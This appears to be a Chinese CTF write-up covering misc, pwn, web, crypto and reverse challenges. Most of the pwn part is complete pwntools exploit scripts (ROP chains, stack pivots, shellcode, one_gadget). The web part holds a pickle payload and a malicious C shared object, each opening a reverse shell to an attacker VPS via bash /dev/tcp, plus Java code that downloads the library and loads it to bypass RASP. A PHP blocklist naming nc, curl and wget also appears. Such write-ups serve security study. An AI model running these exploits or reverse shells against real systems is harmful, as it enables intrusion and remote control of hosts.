初赛 Misc ezflag 打开流量包,发现有两个包里面内容可以组成一个压缩包
把得到的压缩包里面的flag.zip解压出来,发现其实是PNG图片
PvZ 打开压缩包看到给了一张植物大战僵尸的游戏截图,还有一个txt
另一个压缩包密码是花了多少钱的md5值
选择直接爆破price,得到price是738
里面有两个残缺的二维码图片
修一下:
扫一下:
D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G' &%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B" !~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k
不知道是啥玩意,看到有一个二维码图片名字是M41b0lg3,找到了一个叫Malbolge的编程语言
参考 https://hasegawaazusa.github.io/malbolge-language-note.html ,直接运行一下
PWN signin from pwn import *from pwnlib.dynelf import ctypesfrom pwnlib.fmtstr import make_atoms_simplefrom ctypes import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./signin_t/vuln" libc_path = "./signin_t/libc.so.6" rop = ROP(binary_path) elf = ELF(binary_path) libc = ELF(libc_path) libc_dll = cdll.LoadLibrary(libc_path) libc_dll.srand(0 ) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("pwn-5419033d36.challenge.xctf.org.cn" , 9999 , ssl=True ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) csu_start = 0x0401870 def csu (edi=0 , rsi=0 , rdx=0 , r12=0 , start=csu_start, mode=0 ): end = start + 0x1A payload = p64(end) payload += p64(0 ) payload += p64(1 ) if mode == 0 : payload += p64(r12) payload += p64(edi) payload += p64(rsi) payload += p64(rdx) else : payload += p64(edi) payload += p64(rsi) payload += p64(rdx) payload += p64(r12) payload += p64(start) payload += b"a" * 56 return payload payload = p64(0 ) * 2 + b"\x00\x00" p.send(payload) for i in range (100 ): res = libc_dll.rand() % 100 + 1 p.sendafter(b"code:\n" , p8(res)) p.sendafter(b">>" , b"\x01" ) p.sendafter(b"Index: \n" , b"\x01" ) p.sendafter(b"Note: \n" , b"aaaabbbb" ) puts_plt = elf.plt.puts puts_got = elf.got.puts vuln_addr = elf.sym.o_O read_addr = 0x4013CF pop_rdi = 0x0000000000401893 lev_ret = 0x00000000004013BE ret_addr = 0x000000000040101A payload = b"a" * 0x108 payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(vuln_addr) sleep(0.5 ) p.send(payload) libc_base = recv(b"\n" ) - libc.sym.puts mprotect_addr = libc_base + libc.sym.mprotect sleep(0.5 ) bss_addr = 0x404500 payload = b"a" * 0x100 payload += p64(bss_addr) payload += p64(read_addr) p.send(payload) shell = """ mov rax, 2; mov rcx, 0x67616c662f2e; push rcx; mov rdi, rsp; xor rsi, rsi; syscall; mov rdi, rax; xor rax, rax; mov rsi, 0x404600; mov rdx, 0x50; xor rax, rax; syscall; xor rax, rax; inc rax; mov rsi, 0x404600; mov rdx, 0x50; mov rdi, 1; syscall; """ dbg(p) ls(libc_base) sleep(0.5 ) payload = csu(edi=0x404000 , rsi=0x1000 , rdx=0x7 , r12=0x404510 , mode=1 ) payload += p64(0x404480 ) payload += asm(shell) payload = payload.ljust(0x100 , b"x" ) payload += p64(bss_addr - 0x108 ) payload += p64(lev_ret) payload += p64(mprotect_addr) p.send(payload) p.interactive()
首先有个猜随机数的可以覆写种子绕过,之后有一个类似堆的东西,事实上是栈溢出,和堆一点关系都没有。有个沙箱,直接栈迁移➕mprotect然后写入shellcode,打orw.
signin_revenge from pwn import *from pwnlib.dynelf import ctypesfrom pwnlib.fmtstr import make_atoms_simplefrom ctypes import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./signin/vuln" libc_path = "./signin/libc.so.6" rop = ROP(binary_path) elf = ELF(binary_path) libc = ELF(libc_path) libc_dll = cdll.LoadLibrary(libc_path) local = 1 ip, port = "pwn-f2237b44a0.challenge.xctf.org.cn" , 9999 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("pwn-16186d9a30.challenge.xctf.org.cn" , 9999 , ssl=True ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) csu_start = 0x401370 def csu (edi=0 , rsi=0 , rdx=0 , r12=0 , start=csu_start, mode=0 ): end = start + 0x1A payload = p64(end) payload += p64(0 ) payload += p64(1 ) if mode == 0 : payload += p64(r12) payload += p64(edi) payload += p64(rsi) payload += p64(rdx) else : payload += p64(edi) payload += p64(rsi) payload += p64(rdx) payload += p64(r12) payload += p64(start) payload += b"a" * 56 return payload def sig (rax=0 , rdi=0 , rsi=0 , rdx=0 , rsp=0 , rip=0 ): sigframe = SigreturnFrame() sigframe.rax = rax sigframe.rdi = rdi sigframe.rsi = rsi sigframe.rdx = rdx sigframe.rsp = rsp sigframe.rip = rip return bytes (sigframe) puts_plt = elf.plt.puts puts_got = elf.got.puts vuln_addr = elf.sym.vuln read_addr = 0x000000004012CF pop_rdi = 0x0000000000401393 lev_ret = 0x00000000004012BE ret_addr = 0x000000000040101A payload = b"a" * 0x108 payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(vuln_addr) p.sendafter(b"pwn!\n" , payload) libc_base = recv(b"\n" ) - libc.sym.puts mprotect_addr = libc_base + libc.sym.mprotect sleep(0.5 ) bss_addr = 0x404500 payload = b"a" * 0x100 payload += p64(bss_addr) payload += p64(read_addr) p.send(payload) shell = """ mov rax, 2; mov rcx, 0x67616c662f2e; push rcx; mov rdi, rsp; xor rsi, rsi; syscall; mov rdi, rax; xor rax, rax; mov rsi, 0x404600; mov rdx, 0x50; xor rax, rax; syscall; xor rax, rax; inc rax; mov rsi, 0x404600; mov rdx, 0x50; mov rdi, 1; syscall; """ dbg(p) ls(libc_base) sleep(0.5 ) payload = csu(edi=0x404000 , rsi=0x1000 , rdx=0x7 , r12=0x404510 , mode=1 ) payload += p64(0x404480 ) payload += asm(shell) payload = payload.ljust(0x100 , b"x" ) payload += p64(bss_addr - 0x108 ) payload += p64(lev_ret) payload += p64(mprotect_addr) p.send(payload) p.interactive()
就是把signin中的栈溢出函数单独弄了出来,沙箱都是一模一样的。虽然读入内容少了,但还是能够栈迁移。和上一题做法一样。
QWEN from pwn import *from pwnlib.dynelf import ctypesfrom pwnlib.fmtstr import make_atoms_simplefrom ctypes import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./QWEN/pwn1" libc_path = "./QWEN/libc.so.6" rop = ROP(binary_path) elf = ELF(binary_path) libc = ELF(libc_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("pwn-deb19cee97.challenge.xctf.org.cn" , 9999 , ssl=True ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) def search_from_libc (func_name: str , func_addr: int , libc=libc ): log.success(func_name + ": " + hex (func_addr)) offset = func_addr - libc.symbols[func_name] binsh = offset + libc.search(b"/bin/sh" ).__next__() system = offset + libc.symbols["system" ] log.success("offset: " + hex (offset)) return (system, binsh) csu_start = 0x0 def csu (edi=0 , rsi=0 , rdx=0 , r12=0 , start=csu_start, mode=0 ): end = start + 0x1A payload = p64(end) payload += p64(0 ) payload += p64(1 ) if mode == 0 : payload += p64(r12) payload += p64(edi) payload += p64(rsi) payload += p64(rdx) else : payload += p64(edi) payload += p64(rsi) payload += p64(rdx) payload += p64(r12) payload += p64(start) payload += b"a" * 56 return payload p.sendlineafter(b"\xef\xbc\x9a" , b"0 0" ) p.sendlineafter(b"\xef\xbc\x9a" , b"1 1" ) p.sendlineafter(b"\xef\xbc\x9a" , b"2 2" ) p.sendlineafter(b"\xef\xbc\x9a" , b"3 3" ) p.sendlineafter(b"\xef\xbc\x9a" , b"4 4" ) payload = b"a" * 0x8 + b"\x08\x15" p.sendafter(b"say?" , payload) p.sendlineafter(b"[Y/N]\n" , b"N" ) p.sendlineafter(b"\xef\xbc\x9a" , b"999 999" ) p.sendlineafter(b" key\n" , str (0x6B8B4567 ).encode()) p.sendlineafter(b"in!\n" , b"/proc/self/maps" ) p.recvlines(2 ) text_base = int (p.recvuntil(b"-" , drop=True ), 16 ) p.recvlines(3 ) libc_base = int (p.recvuntil(b"-" , drop=True ), 16 ) p.recvuntil(b"[vdso]\n" ) stack_addr = int (p.recvuntil(b"-" , drop=True ), 16 ) p.sendlineafter(b"\xef\xbc\x9a" , b"0 0" ) p.sendlineafter(b"\xef\xbc\x9a" , b"1 1" ) p.sendlineafter(b"\xef\xbc\x9a" , b"2 2" ) p.sendlineafter(b"\xef\xbc\x9a" , b"3 3" ) p.sendlineafter(b"\xef\xbc\x9a" , b"4 4" ) one = [0x4F29E , 0x4F2A5 , 0x4F302 , 0x10A2FC ] payload = b"a" * 0x8 + p64(one[3 ] + libc_base) + p64(0 ) * 4 p.sendafter(b"say?" , payload) p.sendlineafter(b"[Y/N]\n" , b"N" ) p.sendlineafter(b"\xef\xbc\x9a" , b"512 256" ) """ find / -user root -perm -4000-print2>/dev/null 0x4f29e execve("/bin/sh", rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv 0x10a2fc execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv """ p.interactive()
下五子棋,只要自己有五个能连成一块的就可以拿到一次输入机会(对方怎么样不管),输入可以覆写栈上的一个用于处理错误输入的函数指针。程序还有一个admin函数提供限制文件名的读文件(flag的g被过滤了)然后返回main。partial overwrite爆破该指针指向admin函数之后读取/proc/self/maps,直接拿到libc地址,之后覆写函数指针为one gadget,正好有一个可以构造满足条件。拿到shell后只能用pwn2来读flag,输入指令./pwn2 -c aaa ./flag之后cat ./aaa拿到flag
ezcode from pwn import *from pwnlib.adb import shellfrom pwnlib.dynelf import ctypesfrom pwnlib.fmtstr import make_atoms_simplefrom ctypes import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./bin/ezcode" libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so" elf = ELF(binary_path) libc = ELF(libc_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("pwn-36f53f067e.challenge.xctf.org.cn" , 9999 , ssl=True ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) shellcode = """ mov rsp, 0x9998200; mov rax, 2; mov rcx, 0x67616c662f2e; push rcx; mov rdi, rsp; xor rsi, rsi; syscall; mov rsi, rax; xor rdi, rdi; inc rdi; push 0; mov rdx, rsp; mov r10, 0x100; mov rax, 40; syscall; """ """ 00000000: 4c87 ff66 ba07 0066 b80a 000f 0599 31c0 L..f...f......1. 00000010: 87ce 31ff 0f05 ..1... 4c87ff66ba070066b80a000f059931c087ce31ff0f05 xchg rdi, r15; mov dx, 0x7; mov ax, 10; syscall; cdq; xor eax, eax; xchg esi, ecx; xor edi, edi; syscall; """ dbg(p) payload = b"""{"shellcode":"4c87ff66ba070066b80a000f059931c087ce31ff0f05"}""" p.sendline(payload) sleep(2 ) p.send(b"\x00" * 9 + asm(shellcode)) p.interactive()
沙箱shellcode题,沙箱只限制了execve/execveat。用json格式输入机器码转化为十六进制的字符串,限制该字符串长度小于44,即原机器码长度小于22.由于在copy之后把机器码地址的写权限关掉了,我们首先需要增加机器码地址的写权限,然后用read再往里边写机器码。用xchg,xor,和cdq可以以非常短的方式构造满足的shellcode, 可以往机器码地址附近输入很长的内容,之后就输入padding+open+sendfile拿到flag.
guestbook from pwn import *from pwnlib.dynelf import ctypesfrom pwnlib.fmtstr import make_atoms_simplefrom ctypes import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./guestbook/pwn" libc_path = "./guestbook/libc.so.6" rop = ROP(binary_path) elf = ELF(binary_path) libc = ELF(libc_path) libc_dll = cdll.LoadLibrary(libc_path) local = 1 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("pwn-2e5d3b8445.challenge.xctf.org.cn" , 9999 , ssl=True ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) def add (idx, size ): p.sendlineafter(b">" , b"1" ) p.sendlineafter(b"index\n" , str (idx).encode()) p.sendlineafter(b"size\n" , str (size).encode()) def edit (idx, content ): p.sendlineafter(b">" , b"2" ) p.sendlineafter(b"index\n" , str (idx).encode()) p.sendafter(b"content\n" , content) def delete (idx ): p.sendlineafter(b">" , b"3" ) p.sendlineafter(b"index\n" , str (idx).encode()) def show (idx ): p.sendlineafter(b">" , b"4" ) p.sendlineafter(b"index\n" , str (idx).encode()) add(0 , 0x500 ) add(9 , 0x500 ) add(10 , 0x500 ) add(12 , 0x500 ) add(14 , 0x500 ) edit(-4 , b"aaaabbb|" ) show(-4 ) p.recvuntil(b"|" ) libc_base = recv(b"\n" ) - 0x21B723 environ = libc_base + libc.sym.environ sys = libc.sym.system + libc_base binsh = libc_base + libc.search(b"/bin/sh" ).__next__() pop_rdi = 0x000000000002A3E5 + libc_base ret = 0x00000000000F410B + libc_base """ 0x000000000002a3e5: pop rdi; ret; 0x00000000000f410b: ret; """ show(-11 ) bss_base = recv(b"\n" ) - 0x8 edit(-11 , p64(bss_base)) edit(-11 , p64(environ)) show(-12 ) stack_addr = recv(b"\n" ) ret_addr = stack_addr - 0x140 edit(-11 , p64(ret_addr)) edit(-12 , p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys)) ls(stack_addr) ls(libc_base) ls(bss_base) p.interactive()
高版本堆,但和堆一点关系都没有。heapsize与heaparray挨着,没有限制越界读写,直接改stderr然后读泄漏libc基地址。bss上有一个指向自己的指针,任意读可得bss基地址,任意写该指针为bss段上某个地址,利用这条链可以完成任意读写。任意读environ得栈地址计算得返回地址,然后往返回地址写ROP链,最后成功getshell
Web capoo
抓包,发现capoo参数可以路径穿越,读取showpic.php:
<?php class CapooObj { public function __wakeup ( ) { $action = $this ->action; $action = str_replace ("\"" , "" , $action ); $action = str_replace ("\'" , "" , $action ); $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i" ; if (preg_match ($banlist , $action )){ die ("Not Allowed!" ); } system ($this ->action); } } header ("Content-type:text/html;charset=utf-8" );if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['capoo' ])) { $file = $_POST ['capoo' ]; if (file_exists ($file )) { $data = file_get_contents ($file ); $base64 = base64_encode ($data ); } else if (substr ($file , 0 , strlen ("http://" )) === "http://" ) { $data = file_get_contents ($_POST ['capoo' ] . "/capoo.gif" ); if (strpos ($data , "PILER" ) !== false ) { die ("Capoo piler not allowed!" ); } file_put_contents ("capoo_img/capoo.gif" , $data ); die ("Download Capoo OK" ); } else { die ('Capoo does not exist.' ); } } else { die ('No capoo provided.' ); } ?> <!DOCTYPE html> <html> <head> <title>Display Capoo</title> </head> <body> <img style='display:block; width:100px;height:100px;' id='base64image' src='data:image/gif;base64, <?php echo $base64;?>' /> </body> </html>
发现其实是任意文件读取
下一步应该是打phar反序列化,结果发现start.sh没删。。。
直接读flag就行了
ez_picker 给源码了:
from sanic import Sanicfrom sanic.response import json,file as file_,text,redirectfrom sanic_cors import CORSfrom key import secret_keyimport osimport pickleimport timeimport jwtimport ioimport builtinsapp = Sanic("App" ) pickle_file = "data.pkl" my_object = {} users = [] safe_modules = { 'math' , 'datetime' , 'json' , 'collections' , } safe_names = { 'sqrt' , 'pow' , 'sin' , 'cos' , 'tan' , 'date' , 'datetime' , 'timedelta' , 'timezone' , 'loads' , 'dumps' , 'namedtuple' , 'deque' , 'Counter' , 'defaultdict' } class RestrictedUnpickler (pickle.Unpickler): def find_class (self, module, name ): if module in safe_modules and name in safe_names: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name)) def restricted_loads (s ): return RestrictedUnpickler(io.BytesIO(s)).load() CORS(app, supports_credentials=True , origins=["http://localhost:8000" , "http://127.0.0.1:8000" ]) class User : def __init__ (self,username,password ): self .username=username self .password=password def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def token_required (func ): async def wrapper (request, *args, **kwargs ): token = request.cookies.get("token" ) if not token: return redirect('/login' ) try : result=jwt.decode(token, str (secret_key), algorithms=['HS256' ], options={"verify_signature" : True }) except jwt.ExpiredSignatureError: return json({"status" : "fail" , "message" : "Token expired" }, status=401 ) except jwt.InvalidTokenError: return json({"status" : "fail" , "message" : "Invalid token" }, status=401 ) print (result) if result["role" ]!="admin" : return json({"status" : "fail" , "message" : "Permission Denied" }, status=401 ) return await func(request, *args, **kwargs) return wrapper @app.route('/' , methods=["GET" ] ) def file_reader (request ): file = "app.py" with open (file, 'r' ) as f: content = f.read() return text(content) @app.route('/upload' , methods=["GET" ,"POST" ] ) @token_required async def upload (request ): if request.method=="GET" : return await file_('templates/upload.html' ) if not request.files: return text("No file provided" , status=400 ) file = request.files.get('file' ) file_object = file[0 ] if isinstance (file, list ) else file try : new_data = restricted_loads(file_object.body) try : my_object.update(new_data) except : return json({"status" : "success" , "message" : "Pickle object loaded but not updated" }) with open (pickle_file, "wb" ) as f: pickle.dump(my_object, f) return json({"status" : "success" , "message" : "Pickle object updated" }) except pickle.UnpicklingError: return text("Dangerous pickle file" , status=400 ) @app.route('/register' , methods=['GET' ,'POST' ] ) async def register (request ): if request.method=='GET' : return await file_('templates/register.html' ) if request.json: NewUser=User("username" ,"password" ) merge(request.json, NewUser) users.append(NewUser) else : return json({"status" : "fail" , "message" : "Invalid request" }, status=400 ) return json({"status" : "success" , "message" : "Register Success!" ,"redirect" : "/login" }) @app.route('/login' , methods=['GET' ,'POST' ] ) async def login (request ): if request.method=='GET' : return await file_('templates/login.html' ) if request.json: username = request.json.get("username" ) password = request.json.get("password" ) if not username or not password: return json({"status" : "fail" , "message" : "Username or password missing" }, status=400 ) user = next ((u for u in users if u.username == username), None ) if user: if user.password == password: data={"user" :username,"role" :"guest" } data['exp' ] = int (time.time()) + 60 *5 token = jwt.encode(data, str (secret_key), algorithm='HS256' ) response = json({"status" : "success" , "redirect" : "/upload" }) response.cookies["token" ]=token response.headers['Access-Control-Allow-Origin' ] = request.headers.get('origin' ) return response else : return json({"status" : "fail" , "message" : "Invalid password" }, status=400 ) else : return json({"status" : "fail" , "message" : "User not found" }, status=404 ) return json({"status" : "fail" , "message" : "Invalid request" }, status=400 ) if __name__ == '__main__' : app.run(host="0.0.0.0" , port=8000 )
应该先是原型链污染,改jwt的密钥,然后pickle反序列化命令执行
原型链污染:
把密钥改成abc
然后注册一个用户,伪造jwt
发现pickle反序列化给了个白名单,不太会用,但也可以污染,换成自己想要的:
然后pickle反序列化getshell就很简单了
参考这个https://xz.aliyun.com/t/7436
exp = b'''cbuiltins getattr p0 (cbuiltins dict S'get' tRp1 cbuiltins globals )Rp2 00g1 (g2 S'builtins' tRp3 0g0 (g3 S'eval' tR(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/VPS-IP/VPS-PORT 0>&1'")' tR. ''' with open ('exp.pkl' , 'wb' ) as f: f.write(exp)
OnlineRunner 给了一个在线运行Java代码的网站,通过报错看到已经把函数名写好了:
想用反射获取unsafe,发现是JDK17,需要先绕过限制,参考https://xz.aliyun.com/t/15035
然后使用 JNI 绕过 RASP,参考 https://ko1sh1.github.io/2024/03/25/blog_java%20Rasp%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E7%BB%95%E8%BF%87 和 https://www.cnblogs.com/nice0e3/p/14067160.html ,写一个 evil.c 文件:
#include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("bash -c 'bash -i >& /dev/tcp/VPS-IP/VPS-PORT 0>&1'" ); }
在linux上编译:
gcc -shared -fPIC evil.c -o evil.so
在VPS开一个下载evil.so的网站,再监听一个反弹shell
然后执行下面的代码
try (java.io.InputStream in = new java .net.URL("http://VPS-IP/evil.so" ).openStream(); java.io.FileOutputStream out = new java .io.FileOutputStream("/tmp/evil.so" )) { byte [] buf = new byte [8192 ]; int bytesRead; while ((bytesRead = in.read(buf)) != -1 ) { out.write(buf, 0 , bytesRead); } Class unsafeClass = Class.forName("sun.misc.Unsafe" ); java.lang.reflect.Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null ); Module baseModule = Object.class.getModule(); Class currentClass = Main.class; long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(currentClass, addr, baseModule); Class nativeLibraryClass = Class.forName("jdk.internal.loader.NativeLibraries" ); Class nativeLibraryImplClass = Class.forName("jdk.internal.loader.NativeLibraries$NativeLibraryImpl" ); java.lang.reflect.Method load = nativeLibraryClass.getDeclaredMethod("load" , nativeLibraryImplClass, String.class, boolean .class, boolean .class, boolean .class); load.setAccessible(true ); Object nativeLibraryObj = unsafe.allocateInstance(nativeLibraryClass); load.invoke(nativeLibraryObj, null , "/tmp/evil.so" , false , true , true ); } catch (Exception e) { throw new RuntimeException (e); }
Crypto xor ls='0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914' key=list ('mimic' ) for i in range (len (ls)//2 ): print (chr (ord (key[i%5 ])^int (ls[2 *i:2 *i+2 ],16 )),end='' )
Reverse Serv1ce 用jadx打开,得到三个主要的部分
MainActivity申明了两个按钮的click事件,点击input按钮时会解密两段字符串,check也是一样的功能,同时input还会将文本框中的内容传到intent。
input解密出来是开始服务,check则是终止,调用的是myclass里的函数。
import base64def ksa (s ): ls=[i for i in range (256 )] j=0 for i in range (len (ls)): j=(j+ls[i]+ord (s[i%len (s)]))%256 ls[i],ls[j]=ls[j],ls[i] return ls def rpga (ls,n ): ll=[0 ]*n i2,i3=0 ,0 for i in range (n): i2=(i2+1 )%256 i3=(i3+ls[i2])%256 ls[i2],ls[i3]=ls[i3],ls[i2] ll[i]=(ls[(ls[i2]+ls[i3])%256 ])%256 return ll def decode (s ): ss=base64.b64decode(s) key="k3ykeyk3ykey" charr=rpga(ksa(key),len (ss)) for i in range (len (ss)): print (chr (ss[i]^charr[i]),end='' ) decode("RtHTxaKcRXIdES5ktXugN2ww1d91EMp/QOxAh8bV" ) print ()decode("VMvWxbmmRC4IFyN1" ) print ()decode("VMvYx56QUyoXHSU=" )
MyService则是主要处理部分,定义了key和num,其中,num会随着点击input按钮的次数改变而改变,每次都会生成相同的密钥数组,而check函数则是调用了native层。
将libServ1ce.so拖入IDA,查看check函数,输入内容的长度是36,将密钥和输入值依次异或后再乘上num与cmp数组比较。
由于长度是36,故猜测输入值是flag{}里面的内容,其中第8位和第13位等是’-‘,求出num的逆元即可。
cmp=[0xB9 ,0x32 ,0xC2 ,0xD4 ,0x69 ,0xD5 ,0xCA ,0xFB ,0xF8 ,0xFB ,0x80 ,0x7C ,0xD4 ,0xE5 ,0x93 ,0xD5 ,0x1C ,0x8B ,0xF8 ,0xDF ,0xDA ,0xA1 ,0x11 ,0xF8 ,0xA1 ,0x93 ,0x93 ,0xC2 ,0x7C ,0x8B ,0x1C ,0x66 ,0x01 ,0x3D ,0xA3 ,0x67 ] key="1liIl11lIllIIl11llII" num=9 keyarray=[0 ]*36 for i in range (36 ): keyarray[i]=(ord (key[i%len (key)])-0x77 ^23 )&255 while (1 ): count=0 if ((num*(ord ('-' )^keyarray[8 ]))%256 ==cmp[8 ]): break num+=1 for numre in range (256 ): if ((numre*num)%256 ==1 ): break print ('flag{' ,end='' )for i in range (len (cmp)): print (chr (((numre*cmp[i])^keyarray[i])%256 ),end='' ) print ('}' )
A_game 这个程序是一个吃豆人游戏,打开ida,能在主界面的退出逻辑中找到一个退出时执行的函数
主要逻辑是从注册表中读 Myflag这个值,读取到后判断长度等于36,之后读取 game.data转移到 game.tmp经过处理存到 game.ps1,之后执行 game.ps1,删除脚本,将remove函数nop掉,得到game.ps1
由很长字符串组成,去除运行解码脚本,得到
脚本经过混淆,将脚本去混淆,得到
function enenenenene { param ( $plaintextBytes , $keyBytes ) $S = 0 ..255 $j = 0 for ($i = 0 ; $i -lt 256 ; $i ++) { $j = ($j + $S [$i ] + $keyBytes [$i % $keyBytes .Length ]) % 256 $temp = $S [$i ] $S [$i ] = $S [$j ] $S [$j ] = $temp } $i = 0 $j = 0 $ciphertextBytes = @ () for ($k = 0 ; $k -lt $plaintextBytes .Length; $k ++) { $i = ($i + 1 ) % 256 $j = ($j + $S [$i ]) % 256 $temp = $S [$i ] $S [$i ] = $S [$j ] $S [$j ] = $temp $t = ($S [$i ] + $S [$j ]) % 256 $ciphertextBytes += ($plaintextBytes [$k ] -bxor $S [$t ]) } return $ciphertextBytes } function enenenenene1 { param ( $inputbyte ) $key = @ (0 x70, 0 x6f, 0 x77, 0 x65, 0 x72) $encryptedText = @ (); for ($k = 0 ; $k -lt $inputbyte .Length; $k ++) { $encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key ; $key = enenenenene -plaintextBytes $key -keyBytes $encryptedText ; } return $encryptedText + $key ; } function enenenenene2 { param ( $inputbyte ) $key = @ (0 x70, 0 x30, 0 x77, 0 x65, 0 x72) for ($k = 0 ; $k -lt $inputbyte .Length; $k ++) { $inputbyte [$k ] = $inputbyte [$k ] + $key [$k % $key .Length ] } return $inputbyte ; } function enenenenene3 { param ( $inputbyte ) $key = @ (0 x70, 0 x30, 0 x77, 0 x33, 0 x72) for ($k = 0 ; $k -lt $inputbyte .Length; $k ++) { $inputbyte [$k ] = $inputbyte [$k ] * $key [$k % $key .Length ] } return $inputbyte ; } $registryPath = 'HKCU:\Software\PacManX' $valueName = 'MYFLAG' $value = Get-ItemPropertyValue $registryPath $valueName $plaintext = @ ($value ) | ForEach-Object { $input = $_ $plaintext = @ () for ($i = 0 ; $i -lt $input .Length; $i ++) { $plaintext += [int ][char ]$input [$i ] } $plaintext } if ($plaintext .Length -ne 36 ) { Set-Content -Path "log.txt" -Value "ERROR" exit } $encrypted1Text = enENenenene2 -inputbyte (enenenENene2 -inputbyte (enenenenene3 -inputbyte (Enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene1 -input $plaintext ))))))$result = @ (38304 , 8928 , 43673 , 25957 , 67260 , 47152 , 16656 , 62832 , 19480 , 66690 , 40432 , 15072 , 63427 , 28558 , 54606 , 47712 , 18240 , 68187 , 18256 , 63954 , 48384 , 14784 , 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616 )for ($k = 0 ; $k -lt $result .Length; $k ++) { if ($encrypted1Text [$k ] -ne $result [$k ]) { Set-Content -Path "log.txt" -Value "ERROR" exit } Set-Content -Path "log.txt" -Value "RIGHT"
可以发现enenenenen函数是ksa+rpga,enenenenen1则是调用了前者对输入和key进行反复加密(加密Key的部分密钥不变),enenenenen2是一个加法操作,enenenenen3则是乘法操作,逆推即可。
